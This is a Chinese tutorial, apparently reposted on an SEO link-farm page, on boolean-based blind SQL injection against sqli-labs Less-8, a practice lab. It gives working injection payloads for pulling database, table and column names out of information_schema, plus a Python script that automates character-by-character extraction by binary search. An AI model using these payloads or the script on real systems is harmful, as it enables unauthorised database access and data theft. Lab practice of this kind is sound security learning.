当前位置: 首页 > wzjs >正文

网站建设与管理基础黄石seo诊断

网站建设与管理基础,黄石seo诊断,淄博外贸网站建设,服装设计公司属于什么行业类型目录 布尔盲注(第八关) 1.判断 2.确认布尔盲注 3.手工尝试布尔盲注 表名字符 表数 表名长度 表字符 字段数 字段名长度 字段字符 4.脚本布尔盲注注入 布尔盲注(第八关) 1.判断 布尔盲注了,这种页面只会有…

目录

布尔盲注(第八关)

1.判断

2.确认布尔盲注

3.手工尝试布尔盲注

表名字符

表数

表名长度

表字符

字段数

字段名长度

字段字符

4.脚本布尔盲注注入


布尔盲注(第八关)
1.判断

布尔盲注了,这种页面只会有成功和错误两个状态的页面,不会出现报错显示,这种可以尝试可以通过布尔盲注来不断尝试猜测出数据:并且我们可以使用多种方法来注入

2.确认布尔盲注

进行闭合测试

单引号测试


这里发现页面变换,但是没有报错

单引号闭合测试


2-单引号闭合测试

发现这里闭合方式就是单引号

确认是否真的没有报错

使用order by 排列


3-排序报错测试

发现页面变换,但是没有报错了,只有这两种页面,基本就是布尔盲注了

3.手工尝试布尔盲注

手动进行布尔盲注十分麻烦,首先先要注入出名字的长度

?id=1' and (select length(database())>3) --+ 
?id=1' and (select length(database())>8) --+  
?id=1' and (select length(database())>5) --+ 
?id=1' and (select length(database())>6) --+ 

5-数据库名长度测试2

6-数据库名长度测试3

7-数据库名长度测试4

然后一个一个注入出名字的字符的ASCLL码然后对照表将名字完整的获取出来

十进制十六进制字符说明
320x20空格 (Space)
33-470x21-0x2F! " # ... /标点符号
48-570x30-0x390-9阿拉伯数字
58-640x3A-0x40: ; < ... @特殊符号
65-900x41-0x5AA-Z大写英文字母
91-960x5B-0x60[ \ ] ... ```特殊符号
97-1220x61-0x7Aa-z小写英文字母
123-1260x7B-0x7E{ | } ~特殊符号

表名字符

一般名字命名的字符是在32-128之间,所以测试一般在里面测试

可以用二分法进行测试

?id=1' and ((select ascii(substr(database(),1,1)))>80) --+ 
?id=1' and ((select ascii(substr(database(),1,1)))>104) --+ 
?id=1' and ((select ascii(substr(database(),1,1)))>116) --+  
?id=1' and ((select ascii(substr(database(),1,1)))>110) --+
?id=1' and ((select ascii(substr(database(),1,1)))>113) --+
?id=1' and ((select ascii(substr(database(),1,1)))>114) --+

9-数据库名字符测试2

10-数据库名字符测试3

最后确定是ASCLL是115,对照ASCLL是字符s

剩下的也这样一个一个慢慢的注入出来

表数

注入出数据库名后再去注入表名与字段名

由于表名与字段名一般不可能只有一个,所以需要多注入出它们的具体数量

?id=1' and (select count(*) from information_schema.tables where table_schema=database()) > 3--+
?id=1' and (select count(*) from information_schema.tables where table_schema=database()) > 5--+

12-表数测试2

表名长度
?id=1' and (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6 --+ 
?id=1' and (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8 --+ 

14-表名长度测试2

表字符
?id=1' and (ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32) --+ 

字段数
?id=1' and (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2 --+ 
?id=1' and (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>4 --+ 

16-字段数测试2

字段名长度
?id=1' and (select length(column_name) from information_schema.columns where table_schema= 'security' and table_name='users' limit 1,1)>6 --+ 

字段字符
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),1,1))>32) --+ 

所以这种方式十分费时费力,建议写python的脚本进行注入

4.脚本布尔盲注注入
import requests #用于发送HTTP请求url = "http://127.0.0.1/sqli-labs/Less-8/"def inject_database(url):name = ''# 初始化空字符串,存储最终数据库名for i in range(1, 100):# 遍历字符位置(假设数据库名最长99字符)low = 32# ASCII可打印字符起始值(空格)high = 128# ASCII结束值(DEL字符,实际只用到127)mid = (low + high) // 2# 二分法初始中间值while low < high:# 二分查找当前字符的ASCII值payload = " 1' and ascii( substr( (select database()),%d,1)) > %d--  " % (i, mid)/**" "  里面是构造的Payload1'   闭合前面的单引号ascii() 将字符转换为相应的ACSII值substr( (),%d,1) 获取()里面的字符集的第 %d 位开始的第一位字符,第一个%d(占位符)是代表iselect( database()) 查询获取当前的数据库名()>%d  第二个也就是这个%d是midand ('1')=('1  闭合% (i, mid) 为 Python 的字符串格式化语法,将变量 i(字符位置)和 mid(猜测的 ASCII 值)动态插入 Payload,实现自动化枚*/params = {"id": payload}r = requests.get(url, params=params)if "You are in..........." in r.text:#if() 看页面里面有没有You are in...........来判断字符的ASCII值是否大于mid low = mid + 1# 当前字符ASCII值 > mid,调整下限else:high = midmid = (low + high) // 2if mid == 32:# 若mid为32(空格),终止循环breakname = name + chr(mid)# 将ASCII转为字符并拼接print(name)# 实时输出当前结果inject_database(url)
# 执行注入函数

http://www.dtcms.com/wzjs/23209.html

相关文章:

  • 外贸网站空间哪个好营销推广策略
  • 免费企业建站cms外贸网络推广公司
  • 学校网站建设作用最新新闻热点事件及评论
  • 杭州网站建设企业网站关键词排名怎么优化
  • 网站后台用什么浏览器如何做互联网营销推广
  • 网站规划与开发实训室建设东莞seo网络公司
  • 怎么做跳转网站 充值登陆5188大数据官网
  • 团队氛围建设 网站网络营销个人总结
  • 网站静态页面访问很快php页面访问非常慢今日国际新闻摘抄
  • 装饰公司在哪个网站上接活灰色词快速上排名
  • 网站建设中页面下载软文投稿平台有哪些
  • 移动网站推广苏州关键词优化怎样
  • wordpress用户可以互加好友包头整站优化
  • 封面型网站布局如何快速推广一个新产品
  • 山东网站建设哪家专业seo优化公司
  • 网站服务器怎么进网上营销型网站
  • 东莞网站建设 家具网络推广有哪几种方法
  • 广州微网站建设信息seo关键词排名优化软件怎么选
  • 做公司网站需要的材料有哪些品牌推广策略
  • 乌兰察布市建设局网站外贸网站免费推广b2b
  • 辽宁做网站和优化武汉seo网络营销推广
  • 做网站销售 优帮云百色seo快速排名
  • php做网站脑图5188关键词挖掘工具
  • 河南app软件开发合肥seo优化排名公司
  • 杭州制作网站公司如何给公司做网络推广
  • 东莞网站建设做网站人工智能培训机构
  • 网站移动端怎么做项目网站
  • 上海哪家公司做网站最好网址大全实用网址
  • 前端做项目网站引流最好的推广方法
  • 网站教学推广找客户平台